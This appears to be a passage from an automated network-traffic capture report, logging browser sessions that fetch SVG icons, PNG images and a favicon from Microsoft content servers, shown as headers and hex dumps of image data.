Content-MD5: HMwsHhNXdtrfirQDkzcqMA==
Content-Type: image/svg+xml
Date: Fri, 01 Jul 2022 09:00:58 GMT
Etag: 0x8D641014CC1CD9F
Last-Modified: Fri, 02 Nov 2018 20:25:15 GMT
Server: ECAcc (frc/8FE7)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: fde8f45f-401e-0009-5e14-8a07a7000000
x-ms-version: 2009-09-19
Content-Length: 915
Connection: close

2022-07-01 09:00:58 UTC 1360 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 66 66 66 66 66 66 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#ffffff" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.2.5 49736 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:35 UTC 83 OUT GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-
ad1da8b04cd0?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:35 UTC 83 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2626
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:35 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RTY2MTJGOUU"
MS-CV: 43KkWTor8EuznZWC.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:35 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:35 UTC 84 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 d3 50 4c 54 45 1d b9 54 23 ba 58 35 c0 66 48 c6 74 54 ca 7e 5f cd 86 6a d1 8f 70 d2 93 73 d3 95 77 d5 98 75 d4 97 72 
d3 94 6e d2 91 66 cf 8b 5b cc 82 50 c8 7a 41 c4 6f 2f be 62 1e b9 55 39 c1 69 6d d1 91 99 df b1 c1 ec d0 e9 f8 ee ff ff ff fb 
fd fc db f4 e4 b2 e7 c5 8a da a6 5a cb 82 28 bc 5c af e6 c2 e7 f7 ed fd fe fd d4 f1 de 97 de b0 56 ca 7f 22 ba 58 33 bf 64 
7d d6 9d c9 ee d6 fe fe fe f3 fb f6 ae e6 c1 61 ce 87 20 ba 56 63 ce 89 bd ea cd ef fa f2 9c e0 b4 43 c4 70 2b bd 5e 86 d9 
a3 e7 f7 ec c7 ed d4 60 cd 86 2d be 60 96 de af f4 fb f6 6b d1 8f 27 bc 5c 90 dc ab d8 f3 e2 63 ce 88 e8 f8 ee c4 ec d2 44 
c5 72 42 c4 70 cc ef d8 fc fe fc 98 df b1 25 
Data Ascii: PNGIHDR,,N~GPLTET#X5fHtT~_jpswurnf[PzAo/bU9imZ(\V"X3d}a VcCp+^`-`k'\cDrBp%

Session ID Source IP Source Port Destination IP
Destination
Port

Process

80 152.199.23.37 443 192.168.2.5 49824 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:58 UTC 1361 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 13701
Cache-Control: public, max-age=604800
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Fri, 01 Jul 2022 09:00:58 GMT
Etag: 0x8D64101507E84BD
Last-Modified: Fri, 02 Nov 2018 20:25:22 GMT
Server: ECAcc (frc/8F3A)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 2c0f688c-501e-0003-5d09-8d2de5000000
x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

2022-07-01 09:00:58 UTC 1361 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

81 51.210.32.132 443 192.168.2.5 49822 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:58 UTC 1365 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 01 Jul 2022 09:00:58 GMT
Content-Type: image/png
Content-Length: 1031
Connection: close

2022-07-01 09:00:58 UTC 1365 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b4 00 00 00 b4 04 03 00 00 00 cf e3 1b 01 00 00 
00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 30 50 4c 54 45 26 a9 e2 ff ff ff 
df fc ff 26 bd f2 26 a9 e9 9c f0 ff df d8 e9 51 aa e3 ff f1 f3 ff e3 ec be fa ff be ca e5 51 d0 f8 9c bb e3 77 ad e3 77 e0 fc 4a 
4b 7f 56 00 00 03 75 49 44 41 54 68 de ed 98 3f 6b db 40 14 c0 0f 4e a3 c0 bc 40 c5 b9 c2 86 f3 1a 5a 90 a1 14 02 a5 5d 
b4 88 40 70 3f 81 a0 43 a0 43 11 6d c6 4c 5d 3c a4 2d da 32 5f c7 4e 6e 3f 40 8b 32 66 d2 37 88 3e 40 28 c8 1f a0 f4 bd 
93 1c d4 60 2b b2 89 a0 2d ef 47 a4 e8 df fd 74 7a 7a 77 d6 9d 10 0c c3 30 0c c3 30 0c c3 30 0c c3 30 0c f3 6f 23 7f f6 a6 
9e 42 bc ee 86 da 6b 39 db 91 00 d2 be d4 a1 
Data Ascii: PNGIHDRgAMAasRGB0PLTE&&&QQwwJKVuIDATh?k@N@Z]@p?CCmL]<-2_Nn?@2f7>@(`+-Gtzzw0000
o#Bk9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

82 192.168.2.5 49830 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:59 UTC 1366 OUT GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: aadcdn.msftauth.net

Session ID Source IP Source Port Destination IP
Destination
Port

Process

83 152.199.23.37 443 192.168.2.5 49830 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:59 UTC 1366 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 1745574
Cache-Control: public, max-age=31536000
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Content-Type: image/x-icon
Date: Fri, 01 Jul 2022 09:00:59 GMT
Etag: 0x8D8731240E548EB
Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT
Server: ECAcc (frc/8F98)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: de9333a2-401e-002e-2048-7d613a000000
x-ms-version: 2009-09-19
Content-Length: 17174
Connection: close

2022-07-01 09:00:59 UTC 1367 IN Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 
28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 
00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 
00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 0
0 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
Data Ascii: h(fHH(00h6  =@(A(("P"""""""""""""""""""""""""""""" 333333333333333

2022-07-01 09:00:59 UTC 1382 IN Data Raw: 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 
33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 
22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 
33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 
22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 
c0 03 33 33 33 33 33 33 33 99 99 99 99 99 99 99 70 03 33 33 33 33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa aa aa aa aa aa aa 
Data Ascii: 3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""
3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333p3333333

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

84 192.168.2.5 49831 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:59 UTC 1384 OUT GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-
8ba298101695?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:59 UTC 1384 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36356
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:34 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTRBNkU5OUQ"
MS-CV: z5GVXLljMESvilJy.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:59 UTC 1384 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 8d 99 49 44 41 54 78 01 ed bd 09 bc a5 c7 55 1f 78 ea be d7 7b b7 ba 25 bb 2d 4b 6e d9 
6d 5b b6 ac 76 b0 64 cb 6a 63 27 58 0d 32 43 60 62 10 03 32 09 b1 13 83 4d 06 08 3f 76 86 25 04 db 24 13 60 86 80 93 0
9 01 32 13 42 98 e1 c7 04 41 00 11 32 c1 01 d4 92 81 60 59 6d 4b 02 29 96 2c cb 92 25 6b b1 96 5e df 7e ef 77 a6 96 b3 
fc ab ee 6d 59 b2 16 ab df ab 23 dd be f7 7d 4b 55 7d f5 55 fd eb 7f 4e 9d 3a 45 d4 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 
2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 
Data Ascii: PNGIHDR,,y}upHYssRGBgAMAaIDATxUx{%-Knm[vdjc'X2C`b2M?v%$`2BA2`YmK),%k^~wmY#}KU}
UN:EK.]tK.]tK.]tK.]t
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2022-07-01 09:00:59 UTC 1400 IN Data Raw: cc 93 02 ab d3 08 d2 0b cf 2b 04 5c b6 97 eb f5 f1 c7 1f cf 8c eb 0f fe e0 0f 5e 71 d6 ae ed 17 2c 2c 2e a7 3d 
21 a5 46 48 1d 52 2b 86 52 31 1b 30 61 d1 4c 76 65 97 a9 c1 de 98 11 57 46 f7 5c af 81 1a 96 56 a7 27 3f 61 36 c0 d3 30 
3f 2f 4b cf fe 16 04 64 28 b1 00 23 30 2b 4f 5c 4b b1 b4 bc 74 e7 ef fe d6 7f f8 6c fa 2b b2 d3 fc 5e 74 2b af f5 68 bf 4a d2 
19 56 23 b1 1d 5c 95 9c 44 57 d7 12 60 25 87 d1 b2 d9 84 8d b8 36 da 51 65 7f d0 96 a8 56 0e 60 4d 6a 8b d2 46 cf 36 
c2 e3 08 ee 8d b4 48 36 88 7b 74 4b 6d e3 c8 e0 ca bd 64 ac 22 45 29 f5 0e 91 13 61 46 f6 c6 72 cf e0 1d 44 d9 a3 31 36 
92 6d c4 94 6c 51 f2 a2 be 5d 17 d5 9a 27 f5 81 03 07 86 68 9f 7a 46 3a 45 5e 92 22 11 1b c8 d7 be a9 01 79 1c 6d 5f e3 
cb 2f bf fc cd 1a 1b 2c 45 7d 4d 2e 14 64 6c 63 f0 
Data Ascii: +\^q,,.=!FHR+R10aLveWF\V'?a60?/Kd(#0+O\Ktl+^t+hJV#\DW`%6QeV`MjF6H6{tKmd"E)aFrD16mlQ]'hzF
:E^"ym_/,E}M.dlc

2022-07-01 09:00:59 UTC 1408 IN Data Raw: 04 67 8f e4 e7 14 8c 42 35 f8 b0 b3 b8 00 37 31 bb 49 01 51 3f fd 73 ea b8 d9 af 6c 39 4e 72 16 dd bb 77 ef 86 
75 67 50 d9 28 0c 2b bd e4 bc 8b f0 d2 d2 4a 09 5b a2 33 51 d2 68 92 ba 33 72 fb 46 19 8d 85 51 e1 4e d0 6a a5 60 33 8f 
e4 36 6f aa 13 11 9b 0d c4 9a 60 70 f7 a1 91 35 4e 27 24 d8 57 fc 1e 21 21 76 65 f1 db 0a 4a eb ac df 05 df 5b 30 d8 6a 
13 98 fb 57 4d c5 81 09 f3 81 c9 2b 1b b6 6d 37 eb ca 3e 9c 53 63 35 9e ab a7 be 82 44 4e b3 c4 0b 63 59 9e 1c e0 21 65 
e9 0a 58 6d f4 19 58 76 9e 36 03 fe e0 66 9f c6 37 cd 8a 6c 15 e3 b3 6f 8c ec 49 a1 13 1a c0 0c 4e e2 93 2b 70 44 1f 1a 
0d e4 dc 24 a3 60 a3 f6 32 b4 63 11 b9 0d 6c 04 76 2e fb 96 44 94 8d 2b aa d9 35 f1 aa 3b ee bc fd 3a 6a b6 f3 4a a7 65 
ff c1 0d 2d 1b 02 b0 12 bb 2a 51 2c d7 28 85 de 4d 6b 
Data Ascii: gB571IQ?sl9NrwugP(+J[3Qh3rFQNj`36o`p5N'$W!!veJ[0jWM+m7>Sc5DNcY!eXmXv6f7loIN+pD$`2clv.D+5
;:jJe-*Q,(Mk

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

85 192.168.2.5 49832 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:59 UTC 1420 OUT GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-
6a8c0db400e4?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:59 UTC 1420 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 45735
Content-Type: image/png
Last-Modified: Wed, 04 Nov 2020 14:51:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg4MEQxMTQ2RkU2Q0E"
MS-CV: hrPmTcUjH02eZ8TI.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:59 UTC 1421 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 08 ae 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 
78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 
70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 
3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 4
3 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 
30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 
Data Ascii: PNGIHDRh_pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> 
<rdf:RD

2022-07-01 09:00:59 UTC 1436 IN Data Raw: 71 48 56 59 06 10 b7 b9 3e c3 71 1d 54 28 bc 80 59 82 73 08 c8 36 41 b2 59 ad 39 5f 28 1c 99 9a cd bf fe b7 
c7 76 5c d7 e8 9e 6f 1c 7a a6 bf af 20 05 20 33 c4 cd 74 78 a3 db 7a c3 a1 1f fe c3 b1 3f fb e8 2e ec 86 95 80 2c 49 01 88 
ec 08 d8 13 18 64 e3 f7 40 a2 37 e2 06 19 5c 53 00 aa 68 69 d1 0a a1 85 d2 a8 23 30 75 d0 a5 7d 57 4f 3c 79 b2 31 bf 1a 
47 81 cc 22 33 d9 83 b0 33 47 b9 88 11 3b ad 16 20 30 09 a5 30 b5 46 48 1d 06 7e a3 9d ee 1f c4 bd e3 e5 96 41 a9 b5 
f6 3d 21 b3 31 67 90 4a 09 ad 50 29 97 98 e2 e6 91 ea 86 d1 e7 be f0 af 05 c1 63 b7 bf 9a 9c 65 66 21 84 94 a2 34 3e 3a 
76 eb cd 5b 7f e6 dd 1b df f1 53 d1 fa 1d ad 4e 70 e9 e0 d9 93 df 7f ea e4 f7 1e 5b 7a f8 d9 74 b9 5e de 38 a6 cb b9 b4 d1 
4c d3 44 23 ba d9 8b 1f f8 8b 7f 9b 6a 13 04 fd 6f da 
Data Ascii: qHVY>qT(Ys6AY9_(v\oz  3txz?.,Id@7\Shi#0u}WO<y1G"33G; 00FH~A=!1gJP)cef!4>:v[SNp[zt^8LD#jo

2022-07-01 09:00:59 UTC 1445 IN Data Raw: ae 59 b7 5e fa 01 92 23 29 c5 ba 75 86 b9 b5 b2 6c 89 c2 30 3c dc 6e 5d 48 d3 f3 ce 1e 05 78 f3 cf bd f7 ff b9 
e7 3b fb 5e f5 2a 01 10 c7 31 38 57 1c 99 e8 16 6e ba f7 13 7f f1 f8 f7 26 ff f5 de 99 17 1e 3e b9 47 3c 11 6c d9 06 63 b7 
b9 f3 4f cf 7f bf b5 25 57 4d eb 53 d5 37 be 43 59 28 cd 5f 7a 69 b6 3b fd cd e9 09 73 6d 65 e0 77 e2 ce a6 87 4e af 84 8b 
47 4b 79 e1 8f 8e cb 42 09 64 84 32 44 1d 82 d4 d9 32 69 60 5a db bd e1 d8 11 90 43 22 a6 1e 41 0e 10 b1 35 59 82 cc 
c6 32 64 47 e8 90 1d 93 23 e7 98 18 ac 03 66 76 8e ad 03 26 48 1d 91 60 72 2e b5 64 1d a5 44 29 93 23 97 c9 c8 11 19 
26 c8 c8 42 d6 0a 7d 16 52 03 b4 b6 ed 80 01 8c 05 43 e0 2c 10 a1 45 70 0e 1d a3 63 b4 2c 2c 4b 87 c2 a1 76 a8 50 69 
3f 0c c2 20 18 dd 75 d3 81 73 8f 3d fb e2 19 61 c9 16 01 
Data Ascii: Y^#)ul0<n]Hx;^*18Wn&>G<lcO%WMS7CY(_zi;smewNGKyBd2D2i`ZC"A5Y2dG#fv&H`r.dD)#&B}RC,Epc,,KvP
i? us=a
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2022-07-01 09:00:59 UTC 1461 IN Data Raw: 7b f9 c2 e7 ff fc 75 5e ab 11 cc 69 14 45 81 eb 97 5c bf 3f 1c 18 8c da bd 6e 7b 65 85 52 1a f9 81 e7 79 be e7 
07 be 1f 79 be cb b9 94 d2 a3 54 6b 2d a5 d4 08 5b 03 da 58 ad 75 9e e6 59 92 f0 38 a6 8e 83 19 c3 88 02 10 0b 0a 01 
06 8a f7 12 42 4c 00 23 8c b0 83 09 26 24 a3 f4 e4 7b 3f 50 bd f4 c3 97 bf fe 87 af dc be d6 f9 f8 cf 1c 3c 72 72 bc 56 2f 8f 
4d 3a 03 3f ee 77 95 14 23 9d 9c 31 d6 23 8c bb 2a cf a5 36 56 5a 84 11 41 84 50 0a cc 5a 63 1c 25 3d a9 7d a1 72 6c 72 
65 52 ac 12 89 32 8e 0b 38 4f a9 23 c3 71 cc dd 24 69 0e 20 a6 65 04 ca 68 29 75 5a 76 a5 ad a7 fa 70 22 74 26 64 9a 
66 e9 70 20 95 92 88 49 05 22 cf b2 5e 7b b7 df 6a e4 09 48 01 80 90 eb 61 ee 52 ca a9 4a b0 cc 0d 75 6c d5 07 a7 80 
bc 92 57 a8 56 cb b5 42 6d ac 50 ae 85 61 e4 3b cc a1 98 
Data Ascii: {u^iE\?n{eRyyTk-[XuY8BL#&${?P<rrV/M:?w#1#*6VZAPZc%=}rlreR28O#q$i eh)uZvp"t&dfp I"^{jHaRJ
ulWVBmPa;

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

86 192.168.2.5 49833 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:59 UTC 1465 OUT GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-
13196f5baf00?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:59 UTC 1466 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 17018
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:14 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5Mjk0RDY0MzI"
MS-CV: 8/oQHq+FgEulH2fF.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:59 UTC 1466 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 42 
41 49 44 41 54 78 9c e5 bd 77 bc 1d c5 79 37 fe 7d 66 77 4f b9 bd e9 ea 0a 15 54 69 92 e8 5d 18 8c c1 18 8c 6d dc 30 c6 
80 13 3b af eb 1b a7 d8 71 12 fb 8d 93 bc bf bc 49 ec c4 25 ee 49 5c 08 71 23 06 63 30 8e 0d c1 18 63 03 a6 08 90 00 21 
40 42 5d ba bd 9f ba bb 33 cf ef 8f 6d 33 bb 7b ae 84 83 4b 92 f9 dc cf b9 7b 66 a7 3e df a7 cd 33 b3 7b 08 37 4d e1 c8 13 
bd a8 c5 e2 c4 2f 52 99 ff d6 c9 7e 01 65 17 06 e0 85 c2 93 5b 77 01 3c e8 70 05 fe bb a7 23 83 6a 01 18 8e 54 ce 32 e5 
38 8f ea a9 52 d9 22 ff 83 01 7b 21 52 95 4a ad 40 ca a2 72 24 c5 16 40 ae 15 60 68 71 f7 bf 69 3a 1c 54 b9 64 cf cf cc 
e4 1e b9 4a 64 b3 7a 0a b6 85 25 e9 7f 8c 9c bd 70 a9 
Data Ascii: PNGIHDRh_BAIDATxwy7}fwOTi]m0;qI%I\q#c0c!@B]3m3{K{f>3{7M/R~e[w<p#jT28R"{!RJ@r$@`hqi:TdJdz%p

2022-07-01 09:00:59 UTC 1482 IN Data Raw: 2e 89 b3 99 e6 82 2f 2c 95 09 72 e6 b7 90 ed 9d 92 ea da dd 78 17 98 c3 df a0 4a 50 49 49 83 2e 4c a6 23 9e 
63 81 90 94 4f 3b 20 5a 23 39 d5 22 6e d2 39 37 cb 95 09 72 9c 63 06 c8 2c 93 dc cb aa c5 5c a2 e9 03 8b 2b ea a9 85 
6e e4 2c 11 72 3b cb 65 70 4a 3e 13 96 32 e4 58 db b0 67 ed 45 4f b1 43 a1 53 3c bb 6c 4a c9 5f aa 77 43 51 b4 12 5c 
